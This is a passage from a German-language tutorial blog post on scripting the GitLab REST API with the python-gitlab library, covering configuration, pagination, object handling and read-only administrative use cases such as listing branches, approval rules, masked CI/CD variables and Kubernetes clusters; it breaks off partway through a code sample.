durch\nAPI-Abstraktionsbibliotheken\n\n\nDie Interaktion mit der REST-API von GitLab kann auf verschiedene Weise\nerfolgen: entweder durch HTTP-Anfragen mit curl (oder hurl) in der\nBefehlszeile oder durch das Schreiben von Skripten in einer\nProgrammiersprache. Letzteres kann dazu führen, dass der Code für\nHTTP-Anfragen und das Parsen der JSON-Antworten neu entwickelt werden muss.\nGlücklicherweise unterstützt die umfangreiche GitLab-Community viele\nProgrammiersprachen mit API-Abstraktionsbibliotheken.\n\n\nDiese Bibliotheken bieten Unterstützung für alle API-Attribute, fügen\nHilfsfunktionen zum Abrufen, Erstellen und Löschen von Objekten hinzu und\nhelfen Entwicklern dabei, sich auf ihre Kernaufgaben zu konzentrieren. Die\n[python-gitlab Bibliothek](https://python-gitlab.readthedocs.io/en/stable/)\nist ein besonders funktionsreiches und einfach zu verwendendes Beispiel für\neine solche Bibliothek in Python.\n\n\nIn diesem Blogbeitrag wird die grundlegende Nutzung der\npython-gitlab-Bibliothek erläutert, einschließlich der Arbeit mit\nAPI-Objekten, Attributen, Paginierung und Resultsets. Zudem werden\nspezifischere Anwendungsfälle vorgestellt, in denen Daten gesammelt,\nZusammenfassungen gedruckt und Daten in die API geschrieben werden, um\nKommentare und Commits zu erstellen. Viele dieser Anwendungsfälle basieren\nauf Fragen aus der Community in Foren, auf Hacker News oder in Issues.\n\n\n## Inhaltsverzeichnis\n\n- [GitLab-API-Interaktion: Möglichkeiten und Unterstützung durch\nAPI-Abstraktionsbibliotheken](#gitlab-api-interaktion-möglichkeiten-und-unterstützung-durch-api-abstraktionsbibliotheken)\n\n- [Los geht's: python-gitlab Install](#los-geht's-python-gitlab-install)\n\n- [GitLab API Python: Konfiguration](#gitlab-api-python-konfiguration)\n\n- [Objekte verwalten: das\nGitLab-Objekt](#objekte-verwalten-das-gitlab-objekt)\n  - [Objektmanager und Laden von Objekten](#objektmanager-und-laden-von-objekten)\n  - [Paginierung der Ergebnisse](#paginierung-der-ergebnisse)\n  - [Arbeiten mit Objektbeziehungen](#arbeiten-mit-objektbeziehungen)\n  - [Arbeiten mit verschiedenen Objektsammlungsbereichen](#arbeiten-mit-verschiedenen-objektsammlungsbereichen)\n- [DevSecOps-Anwendungsfälle für\nAPI-Leseaktionen](#devsecops-anwendungsfälle-für-api-leseaktionen)\n  - [Zweige nach Zusammenführungsstatus auflisten](#zweige-nach-zusammenführungsstatus-auflisten)\n  - [Drucken von Projekteinstellungen zur Überprüfung: MR-Genehmigungsregeln](#drucken-von-projekteinstellungen-zur-überprüfung-mr-genehmigungsregeln)\n  - [Inventarisierung: Abrufen aller CI/CD-Variablen, die geschützt oder maskiert sind](#inventarisierung-abrufen-aller-cicd-variablen-die-geschützt-oder-maskiert-sind)\n  - [Herunterladen einer Datei aus dem Repository](#herunterladen-einer-datei-aus-dem-repository)\n  - [Hilfe zur Migration: Auflistung aller zertifikatsbasierten Kubernetes-Cluster](#hilfe-zur-migration-auflistung-aller-zertifikatsbasierten-kubernetes-cluster)\n  - [Team-Effizienz: Prüfe, ob bestehende Merge-Requests nach dem Mergen einer großen Refactoring-MR neu gebasht werden müssen](#team-effizienz-prüfe-ob-bestehende-merge-requests-nach-dem-mergen-einer-großen-refactoring-mr-neu-gebasht-werden-müssen)\n- [DevSecOps-Anwendungsfälle für\nAPI-Schreibaktionen](#devsecops-anwendungsfälle-für-api-schreibaktionen)\n  - [Verschieben von Epics zwischen Gruppen](#verschieben-von-epics-zwischen-gruppen)\n  - [Automatisierung des Verschiebens von Epics](#automatisierung-des-verschiebens-von-epics)\n  - [Compliance: Sicherstellen, dass Projekteinstellungen nicht überschrieben werden](#compliance-sicherstellen-dass-projekteinstellungen-nicht-überschrieben-werden)\n  - [Notizen machen, Fälligkeitsübersicht erstellen](#notizen-machen-fälligkeitsübersicht-erstellen)\n\n## Los geht's: python-gitlab Install\n\n\nDie Dokumentation von python-gitlab bietet eine umfassende Einführung in die\nNutzung, einschließlich Anleitungen für den Einstieg, Informationen zu\nObjekttypen und deren Methoden sowie kombinierte Workflow-Beispiele.\nErgänzend dazu ist die Dokumentation der GitLab-API-Ressourcen hilfreich, da\nsie die verfügbaren Objektattribute detailliert beschreibt. Zusammen sind\ndiese beiden Dokumentationen die besten Ressourcen für den Einstieg.\n\n\nDie Code-Beispiele in diesem Blogbeitrag setzen Python 3.8+ und die\npython-gitlab-Bibliothek voraus. Weitere notwendige Abhängigkeiten sind in\nder Datei requirements.txt aufgeführt. Ein Beispiel erfordert die Bibliothek\npyyaml zum Parsen von YAML-Konfigurationen. Um den Code der Anwendungsfälle\nnachzuvollziehen und zu üben, empfiehlt es sich, das Projekt zu klonen, die\nAnforderungen zu installieren und die Skripte auszuführen.\n\n\n```shell\n\ngit clone\nhttps://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python.git\n\n\ncd gitlab-api-python\n\n\nbrew install python\n\n\npip3 install -r requirements.txt\n\n\npython3 \u003Cscriptname>.py\n\n```\n\nDie Skripte verwenden absichtlich keine gemeinsam genutzte Bibliothek, die\nz. B. generische Funktionen für das Lesen von Parametern oder zusätzliche\nHilfsfunktionen bereitstellt. Die Idee ist, einfach zu verstehende Beispiele\nzu zeigen, die eigenständig zum Testen verwendet werden können und lediglich\ndie Installation der python-gitlab-Bibliothek erfordern.\n\n\nEs wird empfohlen, den Code für den Produktionseinsatz zu verbessern. Dies\nkann auch beim Aufbau eines gewarteten API-Tooling-Projekts helfen, das z.\nB. Container-Images und CI/CD-Vorlagen für Entwickler enthält, die auf einer\nDevSecOps-Plattform genutzt werden können.\n\n\n## GitLab API Python: Konfiguration\n\n\nOhne Konfiguration führt python-gitlab unauthentifizierte Anfragen an den\nStandardserver https://gitlab.com aus. Die häufigsten\nKonfigurationseinstellungen beziehen sich auf die GitLab-Instanz, mit der\neine Verbindung hergestellt werden soll, und die Authentifizierungsmethode\ndurch Angabe von Zugriffstokens. python-gitlab unterstützt verschiedene\nArten der Konfiguration: Eine Konfigurationsdatei oder Umgebungsvariablen.\n\n\nDie Konfigurationsdatei ist für die API-Bibliotheksbindungen und die CLI\nverfügbar (die CLI wird in diesem Blogpost nicht erläutert). Die\nKonfigurationsdatei unterstützt Credential Helpers für den direkten Zugriff\nauf Token.\n\n\nUmgebungsvariablen als alternative Konfigurationsmethode bieten eine\neinfache Möglichkeit, das Skript auf dem Terminal auszuführen, in\nContainer-Images zu integrieren und sie für die Ausführung in\nCI/CD-Pipelines vorzubereiten.\n\n\nDie Konfiguration muss in den Kontext des Python-Skripts geladen werden.\nBeginne mit dem Import der os-Bibliothek, um die Umgebungsvariablen mit der\nMethode os.environ.get() abzurufen. Der erste Parameter gibt den Schlüssel\nan, der zweite Parameter legt den Standardwert fest, wenn die Variable in\nder Umgebung nicht verfügbar ist.\n\n\n```python\n\nimport os\n\n\ngl_server = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n\nprint(gl_server)\n\n```\n\n\nDie Parametrisierung auf dem Terminal kann direkt nur für den Befehl\nerfolgen oder in die Shell-Umgebung exportiert werden.\n\n\n```shell\n\n$ GL_SERVER=’https://gitlab.company.com’ python3 script.py\n\n\n$ export GL_SERVER=’https://gitlab.company.com’\n\n$ python3 script.py\n\n```\n\n\nEs wird empfohlen, Sicherheitsprüfungen hinzuzufügen, um sicherzustellen,\ndass alle Variablen gesetzt sind, bevor das Programm weiter ausgeführt wird.\nDer folgende Ausschnitt importiert die erforderlichen Bibliotheken, liest\ndie Umgebungsvariable GL_SERVER und erwartet, dass der Benutzer die Variable\nGL_TOKEN setzt. Wenn dies nicht der Fall ist, gibt das Skript Fehler aus und\nruft sys.exit(1) auf, um einen Fehlerstatus anzuzeigen.\n\n\n```python\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n```\n\n\nFolgend siehst du ein ausführlicheres Beispiel, das eine Verbindung zur API\nherstellt und eine tatsächliche Datenabfrage durchführt.\n\n\n## Objekte verwalten: das GitLab-Objekt\n\n\nFür jede Interaktion mit der API muss das GitLab-Objekt instanziiert werden.\nDies ist der Einstiegspunkt für die Konfiguration des GitLab-Servers für die\nVerbindung, die Authentifizierung mithilfe von Zugriffstokens und weitere\nglobale Einstellungen für die Paginierung, das Laden von Objekten und mehr.\n\n\nIm folgenden Beispiel wird eine nicht authentifizierte Anfrage an gitlab.com\nausgeführt. Es ist möglich, auf öffentliche API-Endpunkte zuzugreifen und\nzum Beispiel eine bestimmte [.gitignore Vorlage für\nPython](https://python-gitlab.readthedocs.io/en/stable/gl_objects/templates.html#gitignore-templates)\nabzurufen.\n\n\n[python_gitlab_object_unauthenticated.py](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_object_unauthenticated.py)\n\n\n```python\n\nimport gitlab\n\n\ngl = gitlab.Gitlab()\n\n\n# Get .gitignore templates without authentication\n\ngitignore_templates = gl.gitignores.get('Python')\n\n\nprint(gitignore_templates.content)\n\n```\n\n\nDie nächsten Abschnitte geben weitere Einblicke in:\n\n\n- Objektmanager und Laden von Objekten\n\n- Paginierung von Ergebnissen\n\n- Arbeiten mit Objektbeziehungen\n\n- Arbeiten mit verschiedenen Objektsammlungsbereichen\n\n\n### Objektmanager und Laden von Objekten\n\n\nDie python-gitlab-Bibliothek ermöglicht den Zugriff auf GitLab-Ressourcen\nüber sogenannte\n„[Manager](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#managers)\".\nJeder Managertyp implementiert Methoden zur Arbeit mit den Datensätzen\n(list, get, etc.).\n\n\nDas Skript zeigt, wie man auf Untergruppen, direkte Projekte, alle Projekte\neinschließlich Untergruppen, Issues, Epics und To-dos zugreifen kann. Diese\nMethoden und der API-Endpunkt erfordern eine Authentifizierung für den\nZugriff auf alle Attribute. Der Codeschnipsel verwendet daher Variablen, um\ndas Authentifizierungs-Token abzurufen sowie die GROUP_ID-Variable, um eine\nHauptgruppe anzugeben, bei der die Suche beginnen soll.\n\n\n```python\n\n#!/usr/bin/env python\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n# https://gitlab.com/gitlab-de/use-cases/\n\nGROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Main\n\nmain_group = gl.groups.get(GROUP_ID)\n\n\nprint(\"Sub groups\")\n\nfor sg in main_group.subgroups.list():\n    print(\"Subgroup name: {sg}\".format(sg=sg.name))\n\nprint(\"Projects (direct)\")\n\nfor p in main_group.projects.list():\n    print(\"Project name: {p}\".format(p=p.name))\n\nprint(\"Projects (including subgroups)\")\n\nfor p in main_group.projects.list(include_subgroups=True, all=True):\n     print(\"Project name: {p}\".format(p=p.name))\n\nprint(\"Issues\")\n\nfor i in main_group.issues.list(state='opened'):\n    print(\"Issue title: {t}\".format(t=i.title))\n\nprint(\"Epics\")\n\nfor e in main_group.issues.list():\n    print(\"Epic title: {t}\".format(t=e.title))\n\nprint(\"Todos\")\n\nfor t in gl.todos.list(state='pending'):\n    print(\"Todo: {t} url: {u}\".format(t=t.body, u=t.target_url\n```\n\n\nDu kannst das Skript\n[`python_gitlab_object_manager_methods.py`](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_object_manager_methods.py)\nausführen, indem du die GROUP_ID-Variable auf GitLab.com SaaS für deine\neigene zu analysierende Gruppe überschreibst. Die Variable GL_SERVER muss\nfür selbstverwaltete Instanzziele angegeben werden. GL_TOKEN muss das\npersönliche Zugriffstoken enthalten.\n\n\n```shell\n\nexport GL_TOKEN=xxx\n\n\nexport GL_SERVER=”https://gitlab.company.com”\n\n\nexport GL_SERVER=”https://gitlab.com”\n\n\nexport GL_GROUP_ID=1234\n\n\npython3 python_gitlab_object_manager_methods.py\n\n```\n\nIn Zukunft werden die Beispiel-Snippets die Python-Header und das Parsen von\nUmgebungsvariablen nicht mehr zeigen, um sich auf den Algorithmus und die\nFunktionalität zu konzentrieren. Alle Skripte sind Open Source unter der\nMIT-Lizenz und in [diesem\nProjekt](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python)\nverfügbar.\n\n\n### Paginierung der Ergebnisse\n\n\nStandardmäßig gibt die GitLab-API nicht alle Ergebnissätze zurück und\nerfordert, dass die Clients die Paginierung verwenden, um durch alle\nErgebnisseiten zu iterieren. Mit der python-gitlab-Bibliothek können\nBenutzer die Einstellungen global im GitLab-Objekt oder bei jedem\nlist()-Aufruf\n[festlegen](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination).\nStandardmäßig würden alle Ergebnissätze API-Anfragen auslösen, was die\nSkriptausführung verlangsamen kann. Die empfohlene Methode ist die\nVerwendung von iterator=True, die ein Generatorobjekt zurückgibt, und\nAPI-Aufrufe werden beim Zugriff auf das Objekt bei Bedarf ausgelöst.\n\n\nDas folgende Beispiel sucht nach dem Gruppennamen everyonecancontribute und\nverwendet eine\n[Paginierung](https://docs.gitlab.com/ee/api/rest/index.html#pagination) der\nSchlüsselsätze mit 100 Ergebnissen auf jeder Seite. Der Iterator wird bei\ngl.groups.list(iterator=True) auf true gesetzt, um bei Bedarf neue\nErgebnissätze abzurufen. Wird der gesuchte Gruppenname gefunden, bricht die\nSchleife ab und gibt eine Zusammenfassung aus, einschließlich der Messung\nder Dauer der gesamten Suchanfrage.\n\n\n```python\n\nSEARCH_GROUP_NAME=\"everyonecancontribute\"\n\n\n# Use keyset pagination\n\n# https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN,\n    pagination=\"keyset\", order_by=\"id\", per_page=100)\n\n# Iterate over the list, and fire new API calls in case the result set does\nnot match yet\n\ngroups = gl.groups.list(iterator=True)\n\n\nfound_page = 0\n\nstart = timer()\n\n\nfor group in groups:\n    if SEARCH_GROUP_NAME == group.name:\n        # print(group) # debug\n        found_page = groups.current_page\n        break\n\nend = timer()\n\n\nduration = f'{end-start:.2f}'\n\n\nif found_page > 0:\n    print(\"Pagination API example for Python with GitLab{desc} - found group {g} on page {p}, duration {d}s\".format(\n        desc=\", the DevSecOps platform\", g=SEARCH_GROUP_NAME, p=found_page, d=duration))\nelse:\n    print(\"Could not find group name '{g}', duration {d}\".format(g=SEARCH_GROUP_NAME, d=duration))\n```\n\n\nBeim Ausführen von python_gitlab_pagination.py wurde die Gruppe\n[everyonecancontribute](https://gitlab.com/everyonecancontribute) auf Seite\n5 gefunden.\n\n\n```shell\n\n$ python3 python_gitlab_pagination.py\n\nPagination API example for Python with GitLab, the DevSecOps platform -\nfound group everyonecancontribute on page 5, duration 8.51s\n\n```\n\n\n### Arbeiten mit Objektbeziehungen\n\n\nBei der Arbeit mit Objektbeziehungen – z. B. beim Sammeln aller Projekte in\neiner bestimmten Gruppe – müssen zusätzliche Schritte unternommen werden.\nDie zurückgegebenen Projektobjekte enthalten standardmäßig nur begrenzte\nAttribute. Für verwaltbare Objekte ist ein zusätzlicher get()-Aufruf\nerforderlich, der das vollständige Projektobjekt von der API im Hintergrund\nanfordert. Dieser On-Demand-Workflow hilft, Wartezeiten und Datenverkehr zu\nvermeiden, indem er die sofort zurückgegebenen Attribute reduziert.\n\n\nDas folgende Beispiel veranschaulicht das Problem, indem es eine Schleife\ndurch alle Projekte in einer Gruppe durchläuft und versucht, die Funktion\nproject.branches.list() aufzurufen, was eine Ausnahme im try/except-Flow\nauslöst. Im zweiten Beispiel wird ein verwaltbares Projektobjekt ermittelt\nund der Funktionsaufruf erneut versucht.\n\n\n```python\n\n# Main\n\ngroup = gl.groups.get(GROUP_ID)\n\n\n# Collect all projects in group and subgroups\n\nprojects = group.projects.list(include_subgroups=True, all=True)\n\n\nfor project in projects:\n    # Try running a method on a weak object\n    try:\n       print(\"🤔 Project: {pn} 💡 Branches: {b}\\n\".format(\n        pn=project.name,\n        b=\", \".join([x.name for x in project.branches.list()])))\n    except Exception as e:\n        print(\"Got exception: {e} \\n ===================================== \\n\".format(e=e))\n\n    # Retrieve a full manageable project object\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n    manageable_project = gl.projects.get(project.id)\n\n    # Print a method available on a manageable object\n    print(\"🤔 Project: {pn} 💡 Branches: {b}\\n\".format(\n        pn=manageable_project.name,\n        b=\", \".join([x.name for x in manageable_project.branches.list()])))\n```\n\n\nDer Exception-Handler in der python-gitlab-Bibliothek gibt die Fehlermeldung\naus und verlinkt auch auf die Dokumentation. Es ist hilfreich, bei der\nFehlersuche zu beachten, dass Objekte möglicherweise nicht verwaltet werden\nkönnen, wenn du nicht auf Objektattribute oder Funktionsaufrufe zugreifen\nkannst.\n\n\n```shell\n\n$ python3 python_gitlab_manageable_objects.py\n\n\n🤔 Project: GitLab API Playground 💡 Branches: cicd-demo-automated-comments,\ndocs-mr-approval-settings, main\n\n\nGot exception: 'GroupProject' object has no attribute 'branches'\n\n\n\u003Cclass 'gitlab.v4.objects.projects.GroupProject'> was created via a\n\nlist() call and only a subset of the data may be present. To ensure\n\nall data is present get the object using a get(object.id) call. For\n\nmore details, see:\n\n\nhttps://python-gitlab.readthedocs.io/en/v3.8.1/faq.html#attribute-error-list\n =====================================\n```\n\n\nHier findest du das vollständige\n[Skript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_manageable_objects.py).\n\n\n### Arbeiten mit verschiedenen Objektsammlungsbereichen\n\n\nManchmal muss das Skript alle Projekte aus einer selbstverwalteten Instanz,\naus einer Gruppe mit Untergruppen oder aus einem einzelnen Projekt sammeln.\nLetzteres ist hilfreich, um die erforderlichen Attribute schneller testen zu\nkönnen, und der Gruppenabruf hilft später beim Testen im großen Maßstab. Das\nfolgende Snippet sammelt alle Projektobjekte in der projects-Liste und fügt\nObjekte aus verschiedenen eingehenden Konfigurationen hinzu. Du wirst auch\nwieder das verwaltbare Objektmuster für Projekte in Gruppen sehen.\n\n\n```python\n    # Collect all projects, or prefer projects from a group id, or a project id\n    projects = []\n\n    # Direct project ID\n    if PROJECT_ID:\n        projects.append(gl.projects.get(PROJECT_ID))\n\n    # Groups and projects inside\n    elif GROUP_ID:\n        group = gl.groups.get(GROUP_ID)\n\n        for project in group.projects.list(include_subgroups=True, all=True):\n            # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n            manageable_project = gl.projects.get(project.id)\n            projects.append(manageable_project)\n\n    # All projects on the instance (may take a while to process)\n    else:\n        projects = gl.projects.list(get_all=True)\n```\n\n\nDas vollständige Beispiel befindet sich in [diesem\nSkript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py)\nfür die Auflistung der Einstellungen der MR-Genehmigungsregeln für bestimmte\nProjektziele.\n\n\n## DevSecOps-Anwendungsfälle für API-Leseaktionen\n\n\nDas authentifizierte Zugriffstoken benötigt den Bereich [`read_api`\nscope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes).\n\n\nDie folgenden Anwendungsfälle werden diskutiert:\n\n\n- Zweige nach Zusammenführungsstatus auflisten\n\n- Drucken von Projekteinstellungen zur Überprüfung: MR-Genehmigungsregeln\n\n- Inventarisierung: Abrufen aller CI/CD-Variablen, die geschützt oder\nmaskiert sind\n\n- Herunterladen einer Datei aus dem Repository\n\n- Hilfe zur Migration: Auflistung aller zertifikatsbasierten\nKubernetes-Cluster\n\n- Team-Effizienz: Prüfen Sie, ob bestehende Merge-Requests nach dem Mergen\neiner großen Refactoring-MR neu gebasht werden müssen\n\n\n### Zweige nach Zusammenführungsstatus auflisten\n\n\nEin häufiges Anliegen ist es, in einem Projekt ein wenig Git-Housekeeping zu\nbetreiben und zu sehen, wie viele zusammengeführte und nicht\nzusammengeführte Zweige im Umlauf sind. Eine\n[Frage](https://forum.gitlab.com/t/python-gitlab-project-branch-list-filter/80257)\nim GitLab-Community-Forum zum Filtern von Zweiglisten hat mich dazu\ninspiriert, ein\n[Skript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_branches_by_state.py)\nzu schreiben, mit dem sich dieses Ziel erreichen lässt. Die Methode\nbranches.list() gibt alle Zweigobjekte zurück, die in einer temporären Liste\nfür die spätere Verarbeitung in zwei Schleifen gespeichert werden: Sammeln\nder Namen der zusammengeführten Zweige und der Namen der nicht\nzusammengeführten Zweige. Das Attribut merged des branch-Objekts ist ein\nboolescher Wert, der angibt, ob der Zweig zusammengeführt wurde.\n\n\n```python\n\nproject = gl.projects.get(PROJECT_ID, lazy=False, pagination=\"keyset\",\norder_by=\"updated_at\", per_page=100)\n\n\n# Get all branches\n\nreal_branches = []\n\nfor branch in project.branches.list():\n    real_branches.append(branch)\n\nprint(\"All branches\")\n\nfor rb in real_branches:\n    print(\"Branch: {b}\".format(b=rb.name))\n\n# Get all merged branches\n\nmerged_branches_names = []\n\nfor branch in real_branches:\n    if branch.default:\n        continue # ignore the default branch for merge status\n\n    if branch.merged:\n        merged_branches_names.append(branch.name)\n\nprint(\"Branches merged: {b}\".format(b=\", \".join(merged_branches_names)))\n\n\n# Get un-merged branches\n\nnot_merged_branches_names = []\n\nfor branch in real_branches:\n    if branch.default:\n        continue # ignore the default branch for merge status\n\n    if not branch.merged:\n        not_merged_branches_names.append(branch.name)\n\nprint(\"Branches not merged: {b}\".format(b=\",\n\".join(not_merged_branches_names)))\n\n```\n\n\nDer Arbeitsablauf ist absichtlich schrittweise zu lesen. Du kannst die\nOptimierung des Python-Codes für die bedingte Zweignamensammlung üben.\n\n\n### Drucken von Projekteinstellungen zur Überprüfung: MR-Genehmigungsregeln\n\n\nDas folgende\n[Skript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py)\ngeht durch alle gesammelten Projektobjekte und prüft, ob Genehmigungsregeln\nangegeben sind. Wenn die Länge der Liste größer als Null ist, durchläuft es\ndie Liste in einem Loop und druckt die Einstellungen mit einer JSON-Ph\npretty-print-Methode aus.\n\n\n```python\n    # Loop over projects and print the settings\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_request_approvals.html\n    for project in projects:\n        if len(project.approvalrules.list()) > 0:\n            #print(project) #debug\n            print(\"# Project: {name}, ID: {id}\\n\\n\".format(name=project.name_with_namespace, id=project.id))\n            print(\"[MR Approval settings]({url}/-/settings/merge_requests)\\n\\n\".format(url=project.web_url))\n\n            for ar in project.approvalrules.list():\n                print(\"## Approval rule: {name}, ID: {id}\".format(name=ar.name, id=ar.id))\n                print(\"\\n```json\\n\")\n                print(json.dumps(ar.attributes, indent=2)) # TODO: can be more beautiful, but serves its purpose with pretty print JSON\n                print(\"\\n```\\n\")\n\n```\n\n\n### Inventarisierung: Abrufen aller CI/CD-Variablen, die geschützt oder\nmaskiert sind\n\n\n[CI/CD Variablen](https://docs.gitlab.com/ee/ci/variables/) sind hilfreich\nfür die Pipeline-Parametrisierung und können global auf der Instanz, in\nGruppen und in Projekten konfiguriert werden. Auch Daten, Passwörter und\nandere sensible Informationen können dort gespeichert werden. Manchmal kann\nes notwendig sein, sich einen Überblick über alle CI/CD-Variablen zu\nverschaffen, die entweder geschützt oder maskiert sind, um ein Gefühl dafür\nzu bekommen, wie viele Variablen aktualisiert werden müssen, wenn Token zum\nBeispiel rotieren.\n\n\nDas folgende\n[Skript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_all_cicd_variables_masked_or_protected.py)\nruft alle Gruppen und Projekte ab und versucht, die CI/CD-Variablen der\nglobalen Instanz (erfordert Admin-Rechte), der Gruppen und Projekte\n(erfordert Maintainer-/Eigentümer-Rechte) zu sammeln. Es gibt alle\nCI/CD-Variablen aus, die entweder geschützt oder maskiert sind, und fügt\nhinzu, dass ein möglicher geheimer Wert gespeichert ist.\n\n\n```python\n\n#!/usr/bin/env python\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\n# Helper function to evaluate secrets and print the variables\n\ndef eval_print_var(var):\n    if var.protected or var.masked:\n        print(\"🛡️🛡️🛡️ Potential secret: Variable '{name}', protected {p}, masked: {m}\".format(name=var.key,p=var.protected,m=var.masked))\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN') # token requires maintainer+\npermissions. Instance variables require admin access.\n\nPROJECT_ID = os.environ.get('GL_PROJECT_ID') #optional\n\nGROUP_ID = os.environ.get('GL_GROUP_ID', 8034603) #\nhttps://gitlab.com/everyonecancontribute\n\n\nif not GITLAB_TOKEN:\n    print(\"🤔 Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Collect all projects, or prefer projects from a group id, or a project id\n\nprojects = []\n\n# Collect all groups, or prefer group from a group id\n\ngroups = []\n\n\n# Direct project ID\n\nif PROJECT_ID:\n    projects.append(gl.projects.get(PROJECT_ID))\n\n# Groups and projects inside\n\nelif GROUP_ID:\n    group = gl.groups.get(GROUP_ID)\n\n    for project in group.projects.list(include_subgroups=True, all=True):\n        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n        manageable_project = gl.projects.get(project.id)\n        projects.append(manageable_project)\n\n    groups.append(group)\n\n# All projects/groups on the instance (may take a while to process, use\niterators to fetch on-demand).\n\nelse:\n    projects = gl.projects.list(iterator=True)\n    groups = gl.groups.list(iterator=True)\n\nprint(\"# List of all CI/CD variables marked as secret (instance, groups,\nprojects)\")\n\n\n# https://python-gitlab.readthedocs.io/en/stable/gl_objects/variables.html\n\n\n# Instance variables (if the token has permissions)\n\nprint(\"Instance variables, if accessible\")\n\ntry:\n    for i_var in gl.variables.list(iterator=True):\n        eval_print_var(i_var)\nexcept:\n    print(\"No permission to fetch global instance variables, continueing without.\")\n    print(\"\\n\")\n\n# group variables (maintainer permissions for groups required)\n\nfor group in groups:\n    print(\"Group {n}, URL: {u}\".format(n=group.full_path, u=group.web_url))\n    for g_var in group.variables.list(iterator=True):\n        eval_print_var(g_var)\n\n    print(\"\\n\")\n\n# Loop over projects and print the settings\n\nfor project in projects:\n    # skip archived projects, they throw 403 errors\n    if project.archived:\n        continue\n\n    print(\"Project {n}, URL: {u}\".format(n=project.path_with_namespace, u=project.web_url))\n    for p_var in project.variables.list(iterator=True):\n        eval_print_var(p_var)\n\n    print(\"\\n\")\n```\n\nDas Skript druckt die Variablenwerte absichtlich nicht aus; dies soll als\nÜbung für sichere Umgebungen dienen. Für die Speicherung von Daten empfiehlt\nsich die Verwendung [externer\nAnbieter](https://docs.gitlab.com/ee/ci/secrets/).\n\n\n### Herunterladen einer Datei aus dem Repository\n\n\nZiel des\n[Skripts](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_raw_file_content.py)\nist es, einen Dateipfad von einem angegebenen Verzweigungsnamen\nherunterzuladen und dessen Inhalt in einer neuen Datei zu speichern.\n\n\n```python\n\n# Goal: Try to download README.md from\nhttps://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/README.md\n\nFILE_NAME = 'README.md'\n\nBRANCH_NAME = 'main'\n\n\n# Search the file in the repository tree and get the raw blob\n\nfor f in project.repository_tree():\n    print(\"File path '{name}' with id '{id}'\".format(name=f['name'], id=f['id']))\n\n    if f['name'] == FILE_NAME:\n        f_content = project.repository_raw_blob(f['id'])\n        print(f_content)\n\n# Alternative approach: Get the raw file from the main branch\n\nraw_content = project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME)\n\nprint(raw_content)\n\n\n# Store the file on disk\n\nwith open('raw_README.md', 'wb') as f:\n    project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME, streamed=True, action=f.write)\n```\n\n\n### Hilfe zur Migration: Auflistung aller zertifikatsbasierten\nKubernetes-Cluster\n\n\nDie zertifikatsbasierte Integration von Kubernetes-Clustern in GitLab wurde\n[abgeschafft](https://docs.gitlab.com/ee/update/deprecations.html#self-managed-certificate-based-integration-with-kubernetes).\nUm Migrationspläne zu unterstützen, kann die Erfassung bestehender Gruppen\nund Projekte mithilfe der GitLab-API automatisiert werden.\n\n\n```python\n\ngroups = [ ]\n\n\n# get GROUP_ID group\n\ngroups.append(gl.groups.get(GROUP_ID))\n\n\nfor group in groups:\n    for sg in group.subgroups.list(include_subgroups=True, all=True):\n        real_group = gl.groups.get(sg.id)\n        groups.append(real_group)\n\ngroup_clusters = {}\n\nproject_clusters = {}\n\n\nfor group in groups:\n    #Collect group clusters\n    g_clusters = group.clusters.list()\n\n    if len(g_clusters) > 0:\n        group_clusters[group.id] = g_clusters\n\n    # Collect all projects in group and subgroups and their clusters\n    projects = group.projects.list(include_subgroups=True, all=True)\n\n    for project in projects:\n        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n        manageable_project = gl.projects.get(project.id)\n\n        # skip archived projects\n        if project.archived:\n            continue\n\n        p_clusters = manageable_project.clusters.list()\n\n        if len(p_clusters) > 0:\n            project_clusters[project.id] = p_clusters\n\n# Print summary\n\nprint(\"## Group 